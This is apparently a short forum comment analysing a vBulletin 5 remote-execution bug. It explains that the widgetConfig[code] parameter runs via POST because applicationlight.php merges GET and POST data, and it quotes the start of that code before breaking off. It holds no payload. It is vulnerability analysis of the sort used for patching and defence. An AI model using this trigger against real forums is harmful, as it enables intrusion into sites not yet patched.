I have done some preliminary research into this bug and so far it does not seem like a backdoor. Just some really weird logic when handling routes, and rendering templates.
As to why widgetConfig[code] executes via a POST request, it is because of the following code located in /includes/vb5/frontend/applicationlight.php
$serverData = array_merge($_GET, $_POST);
if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
{
$app = $this->application['handler'];
